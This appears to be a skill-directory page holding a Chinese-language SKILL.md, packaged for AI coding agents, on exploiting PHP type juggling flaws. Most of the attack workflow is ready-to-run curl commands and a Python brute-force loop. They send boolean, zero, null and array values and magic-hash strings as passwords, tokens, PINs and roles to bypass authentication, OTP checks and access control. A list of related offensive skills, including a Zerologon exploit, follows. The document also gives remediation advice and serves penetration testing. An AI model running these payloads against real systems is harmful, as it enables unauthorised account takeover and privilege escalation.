exploiting-type-juggling-vulnerabilities
利用 PHP 宽松比较运算符导致的类型转换漏洞,通过类型强制攻击绕过身份验证、规避哈希验证并操纵应用程序逻辑。
Best use case
exploiting-type-juggling-vulnerabilities is best used when you need a repeatable AI agent workflow instead of a one-off prompt.
利用 PHP 宽松比较运算符导致的类型转换漏洞,通过类型强制攻击绕过身份验证、规避哈希验证并操纵应用程序逻辑。
Teams using exploiting-type-juggling-vulnerabilities should expect a more consistent output, faster repeated execution, less prompt rewriting.
When to use this skill
- You want a reusable workflow that can be run more than once with consistent structure.
When not to use this skill
- You only need a quick one-off answer and do not need a reusable workflow.
- You cannot install or maintain the underlying files, dependencies, or repository context.
Installation
Claude Code / Cursor / Codex
Manual Installation
- Download SKILL.md from GitHub
- Place it in
.claude/skills/exploiting-type-juggling-vulnerabilities/SKILL.mdinside your project - Restart your AI agent — it will auto-discover the skill
How exploiting-type-juggling-vulnerabilities Compares
| Feature / Agent | exploiting-type-juggling-vulnerabilities | Standard Approach |
|---|---|---|
| Platform Support | Not specified | Limited / Varies |
| Context Awareness | High | Baseline |
| Installation Complexity | Unknown | N/A |
Frequently Asked Questions
What does this skill do?
利用 PHP 宽松比较运算符导致的类型转换漏洞,通过类型强制攻击绕过身份验证、规避哈希验证并操纵应用程序逻辑。
Where can I find the source code?
You can find the source code on GitHub using the link provided at the top of the page.
SKILL.md Source
# 利用类型转换漏洞(Exploiting Type Juggling Vulnerabilities)
## 适用场景
- 测试 PHP Web 应用程序的身份验证绕过漏洞时
- 评估密码比较和哈希验证逻辑时
- 测试使用宽松比较(== 而非 ===)的应用程序时
- 对处理 JSON 或反序列化输入的 PHP 应用程序进行代码审查时
- 评估依赖类型相关比较的输入验证时
## 前置条件
- 了解 PHP 类型系统和宽松比较行为
- 掌握魔术哈希值(0e 前缀)及其科学记数法解释
- 使用 Burp Suite 进行请求操纵和参数类型更改
- PHP 开发环境,用于本地测试载荷
- 来自 PayloadsAllTheThings 的魔术哈希字符串集合
- 能够发送 JSON 或序列化数据以控制输入类型
## 工作流程
### 步骤 1 — 识别类型转换目标
```bash
# 查找具有以下特征的 PHP 应用程序:
# - 登录/认证表单
# - 密码比较端点
# - 接受 JSON 输入的 API 端点
# - 令牌/哈希验证
# - 用于访问控制的数值比较
# 检查应用程序是否接受 JSON 输入(允许类型控制)
curl -X POST http://target.com/api/login \
-H "Content-Type: application/json" \
-d '{"username":"admin","password":"test"}'
# 如果应用程序通常使用表单数据,尝试 JSON
# 表单:username=admin&password=test
# JSON:{"username":"admin","password":true}
```
### 步骤 2 — 利用宽松比较实现身份验证绕过
```bash
# PHP 宽松比较:0 == "password" 返回 TRUE
# 通过 JSON 发送整数 0 作为密码
curl -X POST http://target.com/api/login \
-H "Content-Type: application/json" \
-d '{"username":"admin","password":0}'
# 发送布尔值 true(宽松比较中 TRUE == "任意字符串")
curl -X POST http://target.com/api/login \
-H "Content-Type: application/json" \
-d '{"username":"admin","password":true}'
# 发送空数组(数组绕过 strcmp)
curl -X POST http://target.com/api/login \
-H "Content-Type: application/json" \
-d '{"username":"admin","password":[]}'
# 发送 null
curl -X POST http://target.com/api/login \
-H "Content-Type: application/json" \
-d '{"username":"admin","password":null}'
# PHP strcmp 漏洞:strcmp(array, string) 返回 NULL
# 宽松比较中 NULL == 0 为 TRUE
curl -X POST http://target.com/login \
-d "username=admin&password[]=anything"
```
### 步骤 3 — 利用魔术哈希碰撞
```bash
# PHP 将 "0e..." 字符串视为科学记数法(0 * 10^N = 0)
# 如果哈希以 "0e" 开头且后跟纯数字,则在宽松比较中等于 0
# 魔术 MD5 哈希(在宽松比较中均等于 0):
# "240610708" -> md5: 0e462097431906509019562988736854
# "QNKCDZO" -> md5: 0e830400451993494058024219903391
# "aabg7XSs" -> md5: 0e087386482136013740957780965295
# "aabC9RqS" -> md5: 0e041022518165728065344349536299
# 如果应用程序比较 md5(user_input) == stored_hash:
# 且 stored_hash 以 "0e" 开头且后续只有数字
curl -X POST http://target.com/login \
-d "username=admin&password=240610708"
# 魔术 SHA1 哈希:
# "aaroZmOk" -> sha1: 0e66507019969427134894567494305185566735
# "aaK1STfY" -> sha1: 0e76658526655756207688271159624026011393
# 使用已知魔术哈希值进行测试
for payload in "240610708" "QNKCDZO" "aabg7XSs" "aabC9RqS" "0e1137126905" "0e215962017"; do
echo -n "测试:$payload -> "
curl -s -X POST http://target.com/login \
-d "username=admin&password=$payload" -o /dev/null -w "%{http_code}"
echo
done
```
### 步骤 4 — 利用访问控制中的比较漏洞
```bash
# 数值比较绕过
# 如果:if($user_id == $target_id) { // 允许访问 }
# "0" == "0e12345" 为 TRUE(均等于 0)
# 字符串到整数转换
# "1abc" == 1 在 PHP 中为 TRUE(字符串截断为整数)
curl "http://target.com/api/user?id=1abc"
# 用于角色检查的布尔比较
# if($role == true) 对任何非空字符串都授予访问权限
curl -X POST http://target.com/api/action \
-H "Content-Type: application/json" \
-d '{"action":"delete","role":true}'
# 用于可选检查的 Null 比较
# if($token == null) 可能跳过验证
curl -X POST http://target.com/api/verify \
-H "Content-Type: application/json" \
-d '{"token":0}'
```
### 步骤 5 — 通过反序列化输入利用
```bash
# PHP json_decode() 保留类型
# 攻击者通过 JSON 控制类型:true、0、null、[]
# 绕过令牌验证
curl -X POST http://target.com/api/verify-token \
-H "Content-Type: application/json" \
-d '{"token":true}'
# 绕过数字 PIN 验证
curl -X POST http://target.com/api/verify-pin \
-H "Content-Type: application/json" \
-d '{"pin":true}'
# 使用零值绕过
curl -X POST http://target.com/api/check-code \
-H "Content-Type: application/json" \
-d '{"code":0}'
# PHP unserialize() 类型转换
# 构造整数类型而非字符串类型的序列化对象
# s:8:"password"; -> i:0;(字符串 "password" 改为整数 0)
```
### 步骤 6 — 自动化类型转换测试
```bash
# 针对每个参数测试所有常见类型转换载荷
# 在 Burp Intruder 中使用类型转换载荷列表
# 基于 JSON 测试的载荷列表:
# true
# false
# null
# 0
# 1
# ""
# []
# "0"
# "0e99999"
# "240610708"
# Python 自动化脚本
python3 -c "
import requests
import json
url = 'http://target.com/api/login'
payloads = [True, False, None, 0, 1, '', [], '0', '0e99999', '240610708', 'QNKCDZO']
for p in payloads:
data = {'username': 'admin', 'password': p}
r = requests.post(url, json=data)
print(f'password={json.dumps(p):20s} -> 状态: {r.status_code}, 长度: {len(r.text)}')
"
```
## 核心概念
| 概念 | 定义 |
|---------|-------------|
| 宽松比较(==) | PHP 比较,在比较值之前执行类型强制转换 |
| 严格比较(===) | PHP 比较,要求值和类型都匹配 |
| 魔术哈希(Magic Hash) | 哈希以 "0e" 开头并后跟数字的字符串,在宽松比较中等于 0 |
| 类型强制(Type Coercion) | 比较期间类型之间的自动转换(字符串转整数、null 转 0) |
| strcmp 绕过(strcmp Bypass) | 将数组传递给 strcmp() 返回 NULL,在宽松比较中等于 0 |
| JSON 类型控制(JSON Type Control) | 使用 JSON 输入向 PHP 端点发送特定类型(布尔值、整数、null) |
| 科学记数法(Scientific Notation) | PHP 在数值比较中将 "0eN" 字符串解释为 0 |
## 工具与系统
| 工具 | 用途 |
|------|---------|
| Burp Suite | 用于更改请求中参数类型的 HTTP 代理 |
| PHP 交互式 Shell | 本地测试类型转换行为 |
| PayloadsAllTheThings | 精选的魔术哈希和类型转换载荷列表 |
| phpggc | PHP 通用 Gadget 链,用于反序列化利用 |
| 自定义 Python 脚本 | 自动化类型转换载荷测试 |
| PHPStan/Psalm | 检测代码中宽松比较的静态分析工具 |
## 常见场景
1. **通过布尔值绕过身份验证** — 发送 `"password": true` 作为 JSON 以绕过宽松比较密码验证
2. **魔术哈希碰撞** — 使用已知魔术哈希输入("240610708"),其 MD5 以 "0e" 开头,与存储的哈希匹配
3. **strcmp 数组绕过** — 发送 `password[]=anything`,使 strcmp() 返回 NULL,绕过密码比较
4. **PIN/OTP 绕过** — 发送整数 0 作为验证码,与实际代码的 "0e..." 哈希匹配
5. **角色提升** — 发送 `"role": true`,在宽松比较访问控制中匹配任何非空角色字符串
## 输出格式
```
## 类型转换漏洞报告
- **目标**:http://target.com
- **语言**:PHP 8.1
- **框架**:Laravel
### 发现
| # | 端点 | 参数 | 载荷 | 类型 | 影响 |
|---|----------|-----------|---------|------|--------|
| 1 | POST /login | password | true(布尔值) | 宽松比较 | 认证绕过 |
| 2 | POST /login | password | 240610708(魔术哈希) | MD5 0e 碰撞 | 认证绕过 |
| 3 | POST /login | password[] | 数组 | strcmp 返回 NULL | 认证绕过 |
| 4 | POST /verify | code | 0(整数) | 数值比较 | OTP 绕过 |
### PHP 比较表(相关)
| 表达式 | 结果 | 原因 |
|-----------|--------|--------|
| 0 == "password" | TRUE | 字符串转换为 0 |
| true == "password" | TRUE | 非空字符串为真值 |
| "0e123" == "0e456" | TRUE | 均为科学记数法 = 0 |
| NULL == 0 | TRUE | NULL 转换为 0 |
### 修复建议
- 在安全关键代码中将所有 == 替换为 ===(严格比较)
- 使用 password_verify() 进行密码比较,而非直接比较
- 使用 hash_equals() 进行时序安全的哈希比较
- 在比较操作前验证输入类型
- 在所有文件中启用 PHP strict_types 声明
```Related Skills
triaging-vulnerabilities-with-ssvc-framework
使用 CISA 的利益相关方特定漏洞分类(SSVC)决策树框架对漏洞进行分类和优先排序,产出可操作的修复优先级:Track、Track*、Attend 或 Act。
testing-for-xxe-injection-vulnerabilities
在授权的渗透测试中发现和利用 XML 外部实体(XXE)注入漏洞,以读取服务器文件、执行 SSRF 并外泄数据。
testing-for-xss-vulnerabilities
通过向反射型、存储型和 DOM 型上下文注入 JavaScript 载荷,测试 Web 应用程序的跨站脚本(XSS)漏洞, 演示客户端代码执行、会话劫持和用户冒充。测试人员识别所有注入点和输出上下文,构造适合上下文的载荷, 并绕过净化和 CSP 保护。适用于 XSS 测试、跨站脚本评估、客户端注入测试或 JavaScript 注入漏洞测试等请求场景。
testing-for-xss-vulnerabilities-with-burpsuite
在授权的安全评估过程中,使用 Burp Suite 的扫描器、Intruder 和 Repeater 工具识别和验证跨站脚本(XSS)漏洞。适用于 Web 应用渗透测试中检测反射型、存储型和 DOM 型 XSS,验证自动化扫描器报告的 XSS 发现,以及评估 CSP 和 XSS 过滤器的有效性时使用。
testing-for-xml-injection-vulnerabilities
测试 Web 应用程序中的 XML 注入漏洞,包括 XXE(XML 外部实体注入)、XPath 注入和 XML 实体攻击,以识别数据泄露和服务器端请求伪造(SSRF)风险。
testing-for-open-redirect-vulnerabilities
通过分析 URL 重定向参数、绕过技术和利用链,识别并测试 Web 应用程序中的开放重定向漏洞,用于网络钓鱼和 Token 窃取。
testing-for-json-web-token-vulnerabilities
测试 JWT 实现中的关键漏洞,包括算法混淆、none 算法绕过、kid 参数注入和弱密钥利用,以实现认证绕过和权限提升。
testing-for-business-logic-vulnerabilities
识别应用程序业务逻辑中的缺陷,这些缺陷允许价格操控、工作流绕过和权限提升,超出技术漏洞扫描器的检测范围。
testing-android-intents-for-vulnerabilities
测试 Android 进程间通信(IPC)中 Intent 的安全漏洞,包括 Intent 注入、未授权组件访问、 广播嗅探、PendingIntent 劫持和 ContentProvider 数据泄露。适用于评估 Android 应用导出组件 攻击面、测试 Intent 数据流或评估 IPC 安全性的场景。适合涉及 Android Intent 安全、IPC 测试、 导出组件分析或 Drozer 评估的相关请求。
prioritizing-vulnerabilities-with-cvss-scoring
通用漏洞评分系统(CVSS)是由 FIRST(事件响应和安全团队论坛)维护的行业标准框架,用于评估漏洞严重性。CVSS v4.0 于 2023 年 11 月发布,引入了更精确的评分指标。
performing-soc-2-type-ii-audit-preparation
SOC 2 Type II 审计准备涉及在规定审计期间(通常为 6-12 个月)设计、实施并证明与 AICPA 信任服务标准(Trust Services Criteria,TSC)对齐的控制措施的运营有效性
exploiting-zerologon-vulnerability-cve-2020-1472
利用 Netlogon 远程协议中的 Zerologon 漏洞(CVE-2020-1472),通过将机器账户密码重置为空来实现域控制器入侵。